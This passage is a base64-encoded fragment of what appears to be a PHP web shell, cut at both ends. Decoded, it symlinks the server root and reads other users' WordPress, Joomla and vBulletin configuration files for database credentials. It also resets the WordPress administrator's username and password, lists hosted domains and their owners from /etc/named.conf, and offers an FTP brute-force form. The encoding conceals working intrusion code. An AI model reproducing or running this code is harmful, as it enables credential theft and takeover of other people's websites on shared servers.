cml0ZSgkZywkcnIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5bWxpbmsoIi8iLCJ0ZXJteC9yb290Iik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVzZT1leHBsb2RlKCJcbiIsJHVzZXJzKTsNCg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCR1c2UgYXMgJHVzKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdT10cmltKCR1cyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9cmVkIHNpemU9MyBmYWNlPVwiY29taWMgc2FucyBtc1wiPiIuJHU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGJhc2VfdXJsID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLmRpcm5hbWUoJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10pLicvdGVybXgvcm9vdC9ob21lLyc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbmZpPWFycmF5KCJ3cC1jb25maWcucGhwIiwiYmxvZy93cC1jb25maWcucGhwIiwid29yZHByZXNzL3dwLWxvZ2luLnBocCIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGNvbmZpIGFzICRjbykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHV1cmw9QGZpbGVfZ2V0X2NvbnRlbnRzKCRiYXNlX3VybC4kdS4iL3B1YmxpY19odG1sLyIuJGNvKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR1dXJsICYmIHByZWdfbWF0Y2goJy9EQl9OQU1FL2knLCR1dXJsKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48dGFibGUgd2lkdGg9NjAlID48dHI+PHRkIGFsaWduPWNlbnRlcj48Zm9udCBjb2xvcj1yZWQgc2l6ZT00IGZhY2U9J2NvbWljIHNhbnMgbXMnPiB3ZWJzaXRlIGNtcyBpcyB3b3JkcHJlc3Mgb2YgdXNlciAkdSA8L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkd2w9JGJhc2VfdXJsLiR1LiIvcHVibGljX2h0bWwvIi4kY287DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRleHQ9ZmlsZV9nZXRfY29udGVudHMoJHdsKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1bmFtZT0kX1BPU1RbJ3VuYW1lJ107DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRidT1lbnRyZTJ2MigkdGV4dCwiZGVmaW5lKCdEQl9VU0VSJywgJyIsIicpOyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYnA9ZW50cmUydjIoJHRleHQsImRlZmluZSgnREJfUEFTU1dPUkQnLCAnIiwiJyk7Iik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRibj1lbnRyZTJ2MigkdGV4dCwiZGVmaW5lKCdEQl9OQU1FJywgJyIsIicpOyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0cD1lbnRyZTJ2MigkdGV4dCwiJHRhYmxlX3ByZWZpeCA9ICciLCInIik7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnB3ZD0gbWQ1KCRwYXNzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaG9zdD0ibG9jYWxob3N0IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGJjb25uZWN0PUAgbXlzcWxfY29ubmVjdCgkaG9zdCwkZGJ1LCRkYnApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYnNlbGVjdD1AIG15c3FsX3NlbGVjdF9kYigkZGJuLCRkYmNvbm5lY3QpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRkYnNlbGVjdCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPmRhdGFiYXNlICRkYm4gaGFzIGJlZW4gc2VsZWN0ZWQ8YnI+IjsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRydT1AIG15c3FsX3F1ZXJ5KCJVUERBVEUgYCIuJHRwLiJ1c2Vyc2AgU0VUIGB1c2VyX2xvZ2luYCA9JyIuJHVuYW1lLiInIFdIRVJFIElEID0gMSIpIDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcnU9IEAgbXlzcWxfcXVlcnkoIlVQREFURSBgIi4kdHAuInVzZXJzYCBTRVQgYHVzZXJfcGFzc2AgPSciLiRucHdkLiInIFdIRVJFIElEID0gMSIpIDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxID1teXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSBgIi4kdHAuIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdob21lJyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNpdGVfdXJsPSRkYXRhWyJvcHRpb25fdmFsdWUiXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJ3ZWJzaXRlIGlzICIuJGRhdGFbIm9wdGlvbl92YWx1ZSJdOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEkcnUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IHNpemU9MiBjb2xvcj1yZWQgZmFjZT0nY29taWMgc2FucyBtcyc+PGJyPmNvdWxkIG5vdCB1cGRhdGUgdXNlcm5hbWUvcGFzc3dvcmQgOlA8L2ZvbnQ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48dGFibGUgd2lkdGg9NjAlIGJvb3JkZXI9MT48dHI+PHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTMgY29sb3I9cmVkIGZhY2U9J2NvbWljIHNhbnMgbXMnPkJybyA6KSx1c2VybmFtZSAkdW5hbWUgYW5kIHBhc3N3b3JkICRwYXNzIGhhcyBiZWVuIHVwZGF0ZWQgZm9yIElEPTEgOkQ8L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsnZHUnXSkpDQogICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxjZW50ZXI+PGJyPjxmb250DQogICAgICAgICAgICAgICAgICAgICAgCWNvbG9yPXdoaXRlIHNpemU9MyBmYWNlPSJjb21pYyBzYW5zIG1zIj4tLT09W1t3ZWJzaXRlIGFuZA0KICAgICAgICAgICAgICAgICAgICAgIAl1c2VybmFtZV1dPT0tLTwvZm9udD48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgJGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEkZDBtYWlucyl7IGRpZSgiPGZvbnQgc2l6ZT0zPjxiPjxmb250IGNvbG9yPXJlZD5FcnJvciBpbiByZWFkaW5nIC9ldGMvbmFtZWQuY29uZiAiKTsgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPjx0ZD48Zm9udCBzaXplPTMgZmFjZT0nY29taWMgc2FucyBtcyc+d2Vic2l0ZTwvdGQ+PHRkPjxmb250IHNpemU9MyBmYWNlPWNvbWljIHNhbnMgbXM+dXNlcm5hbWU8L2ZvbnQ+PC90ZD48L3RyPiI7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGVyZWdpKCJ6b25lIiwkZDBtYWluKSl7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpew0KDQogICAgICAgICAgICAgICAgICAgICAgICAkdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dHI+PHRkPjxhIGhyZWY9aHR0cDovL3d3dy4iLiRkb21haW5zWzFdWzBdLiIvPjxmb250IGNvbG9yPXdoaXRlIGZhY2U9J2NvbWljIHNhbnMgbXMnPiIuJGRvbWFpbnNbMV1bMF0uIjwvYT48L3RkPjx0ZD48Zm9udCBjb2xvcj13aGl0ZSBmYWNlPSdjb21pYyBzYW5zIG1zJz4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+PC90cj4iOyBmbHVzaCgpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICB9fX0NCiAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC9jZW50ZXI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgIH0gPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsnd2pjJ10pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxjZW50ZXI+PGJyPjxmb250IGNvbG9yPXdoaXRlIHNpemU9MiBmYWNlPSJjb21pYyBzYW5zIG1zIj48Yj4tLT09W1s8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkIHNpemU9MiBmYWNlPSJjb21pYyBzYW5zIG1zIj5DTVMgYmFzZWQgc3ltbGluayxWQnVsbGV0aW4sd29yZHByZXNzIGFuZCBKb29tbGEgYWRtaW4gcGFuZWwgcGFzc3dvcmQgY2hhbmdlcjwvZm9udD48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTIgZmFjZT0iY29taWMgc2FucyBtcyI+XV09PS0tPGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgY29sb3I9InJlZCIgc2l6ZT0iMyIgZmFjZT0iY29taWMgc2FucyBtcyI+Y21zIGJhc2VkDQogICAgICAgICAgICAgICAgICAgICAgICAJc3ltbGluazwvZm9udD48L2E+PC90ZD48dGQgd2lkdGg9MjUlIGFsaWduPWNlbnRlcj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTMgZmFjZT0iY29taWMgc2FucyBtcyI+VkJ1bGxldGluLXBhc3MgY2hhbmdlcjwvZm9udD48L2E+DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgCTwvdGQ+PHRkIGFsaWduPWNlbnRlcj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTMgZmFjZT0iY29taWMgc2FucyBtcyI+d29yZHByZXNzLXBhc3MgY2hhbmdlcjwvZm9udD48L2E+DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgCTwvdGQ+PHRkIHdpZHRoPSIyMCUiYWxpZ249Y2VudGVyPjxmb250IGNvbG9yPXJlZCBzaXplPTMgZmFjZT0iY29taWMgc2FucyBtcyI+Sm9vbWxhLXBhc3MgY2hhbmdlcjwvZm9udD48L2E+IDwvdGQ+PC90cj48dGQgYWxpZ249bGVmdD4gPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIC8vY21zIGJhc2VkIHN5bWxpbmsgZnVuY2lvbg0KDQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPEZvcm0gTWV0aG9kID1Qb3N0IEFDVElPTiA9JyAnPiI7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBzaXplPTIgY29sb3I9d2hpdGUgZmFjZT0nY29taWMgc2FucyBtcyc+d2Vic2l0ZSB1c2VybmFtZSA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndW5hbWUnPiZuYnNwJm5ic3AmbmJzcDxicj4gIjsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J3doaXRlJyBzaXplPTIgZmFjZT0nY29taWMgc2FucyBtcyc+PElucHV0IHR5cGUgPSAnUmFkaW8nIE5hbWUgPSdjb25maWcnICB2YWx1ZT0nd29yZHByZXNzJz48Zm9udCBjb2xvcj0nd2hpdGUnPndvcmRwcmVzcyI7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YnI+PElucHV0IHR5cGUgPSAnUmFkaW8nIE5hbWUgPSdjb25maWcnIHZhbHVlPSAnam9vbWxhJz48Zm9udCBjb2xvcj0nd2hpdGUnIHNpemU9MiBmYWNlPSdjb21pYyBzYW5zIG1zJz5qb29tbGE8YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxJbnB1dCB0eXBlID0gJ1JhZGlvJyBOYW1lID0nY29uZmlnJyB2YWx1ZT0gJ3ZCdWxsZXRpbic+PGZvbnQgY29sb3I9J3doaXRlJyAgc2l6ZT0yIGZhY2U9J2NvbWljIHNhbnMgbXMnPnZCdWxsZXRpbiI7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YnI+PElucHV0IHR5cGUgPSAnUmFkaW8nIE5hbWUgPSdjb25maWcnIHZhbHVlPSAnYW55Jz48Zm9udCBjb2xvcj0nd2hpdGUnIHNpemU9MiBmYWNlPSdjb21pYyBzYW5zIG1zJz5wdWJsaWNfaHRtbCI7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8cD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGJ1dHRvbiB0eXBlID0gJ1N1Ym1pdCcgTmFtZSA9ICdTdWJtaXQxJyBpZD0nYnV0dG9uJz4gPC9idXR0b24+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvRk9STT4iOw0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ1N1Ym1pdDEnXSkpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAJJHI9JF9QT1NUWyJjb25maWciXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRyPT0id29yZHByZXNzIikNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgCSR5PXRyaW0oJF9QT1NUWyJ1bmFtZSJdKTsNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gY3VyUGFnZVVSTCgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAkcGFnZVVSTCA9ICdodHRwJzsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICRwYWdlVVJMIC49ICI6Ly8iOw0KICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX1NFUlZFUlsiU0VSVkVSX1BPUlQiXSAhPSAiODAiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICRVUkwgLj0gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uIjoiLiRfU0VSVkVSWyJTRVJWRVJfUE9SVCJdLiRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VVUkwgPSRVUkw7DQogICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VVUkwgLj0gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZVVSTDsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgJHI9IGRpcm5hbWUoY3VyUGFnZVVSTCgpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJHg9JHIuIi9VZVhwbG9pVC9yb290L2hvbWUvIi4keS4iL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAiOw0KDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YnIgXD48YSBocmVmPSIuICR4LiI+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0yIGZhY2U9J2NvbWljIHNhbnMgbXMnPmxpbmsgdG8gd3AtY29uZmlnLnBocDwvYT4iOw0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAl9DQogICAgICAgICAgICAgICAgICAgICAgICAJZWxzZWlmKCRyPT0iam9vbWxhIikNCiAgICAgICAgICAgICAgICAgICAgICAgIAl7DQogICAgICAgICAgICAgICAgICAgICAgICAJJHVuPXRyaW0oJF9QT1NUWyJ1bmFtZSJdKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgZnVuY3Rpb24gY3VyUGFnZVVSTCgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAkcGFnZVVSTCA9ICdodHRwJzsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICRwYWdlVVJMIC49ICI6Ly8iOw0KICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX1NFUlZFUlsiU0VSVkVSX1BPUlQiXSAhPSAiODAiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICRVUkwgLj0gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uIjoiLiRfU0VSVkVSWyJTRVJWRVJfUE9SVCJdLiRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VVUkwgPSRVUkw7DQogICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VVUkwgLj0gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZVVSTDsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgJHI9IGRpcm5hbWUoY3VyUGFnZVVSTCgpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJHg9JHIuIi9VZVhwbG9pVC9yb290L2hvbWUvIi4kdW4uIi9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCI7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxiciBcPjxhIGhyZWY9Ii4gJHguIj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTIgZmFjZT0nY29taWMgc2FucyBtcyc+bGluayB0byBjb25maWd1cmF0aW9uLnBocDwvYT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZigkcj09InZCdWxsZXRpbiIpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkkeT10cmltKCRfUE9TVFsidW5hbWUiXSk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgZnVuY3Rpb24gY3VyUGFnZVVSTCgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAkcGFnZVVSTCA9ICdodHRwJzsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICRwYWdlVVJMIC49ICI6Ly8iOw0KICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX1NFUlZFUlsiU0VSVkVSX1BPUlQiXSAhPSAiODAiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICRVUkwgLj0gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uIjoiLiRfU0VSVkVSWyJTRVJWRVJfUE9SVCJdLiRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VVUkwgPSRVUkw7DQogICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VVUkwgLj0gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZVVSTDsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgJHI9IGRpcm5hbWUoY3VyUGFnZVVSTCgpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJHg9JHIuIi9VZVhwbG9pVC9yb290L2hvbWUvIi4keS4iL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAiOw0KDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YnIgXD48YSBocmVmPSIuICR4LiI+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0yIGZhY2U9J2NvbWljIHNhbnMgbXMnPmxpbmsgdG8gaW5jbHVkZXMvY29uZmlnLnBocDwvYT4iOw0KDQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIAllbHNlaWYoJHI9PSJhbnkiKQ0KICAgICAgICAgICAgICAgICAgICAgICAgCXsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkkeT10cmltKCRfUE9TVFsidW5hbWUiXSk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgZnVuY3Rpb24gY3VyUGFnZVVSTCgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAkcGFnZVVSTCA9ICdodHRwJzsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICRwYWdlVVJMIC49ICI6Ly8iOw0KICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX1NFUlZFUlsiU0VSVkVSX1BPUlQiXSAhPSAiODAiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICRVUkwgLj0gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uIjoiLiRfU0VSVkVSWyJTRVJWRVJfUE9SVCJdLiRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VVUkwgPSRVUkw7DQogICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VVUkwgLj0gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZVVSTDsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgJHI9IGRpcm5hbWUoY3VyUGFnZVVSTCgpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJHg9JHIuIi9VZVhwbG9pVC9yb290L2hvbWUvIi4keS4iL3B1YmxpY19odG1sLyI7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxiciBcPjxhIGhyZWY9Ii4gJHguIj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTIgZmFjZT0nY29taWMgc2FucyBtcyc+bGluayB0byBwdWJsaWNfaHRtbCBkaXJlY3Rvcnk8L2E+IjsNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgCX0NCg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9jZW50ZXI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICB9ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfR0VUWydmdHBfYnJ1dGUnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnDQogICAgICAgICAgICAgICAgICAgICAgICAgIDxjZW50ZXI+PGJyPjxmb250IHNpemU9IjUiIGNvbG9yPSJyZWQiIGZhY2U9ImN1cnNpdmUiPkZUUCBCcnV0ZWZvcmNlPC9mb250Pjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iY29sb3I6IHdoaXRlIjs+SG9zdG5hbWU6IDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0bmFtZSIgcmVxdWlyZWQvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJjb2xvcjogd2hpdGUiOz5Vc2VybmFtZTogPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJuYW1lIiByZXF1aXJlZC8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9ImNvbG9yOiB3aGl0ZSI7PlBhc3N3b3JkczogPC90ZD48dGQ+PHRleHRhcmVhIHJvd3M9IjEwIiBjb2xzPSIzMCIgbmFtZT0icGFzc3dvcmRzIj48L3RleHRhcmVhPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdGFydCBDcmFja2luZyA6KSAiLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbImhvc3RuYW1lIl0pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGhvc3RuYW1lID0gJF9QT1NUWyJob3N0bmFtZSJdOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXJuYW1lID0gJF9QT1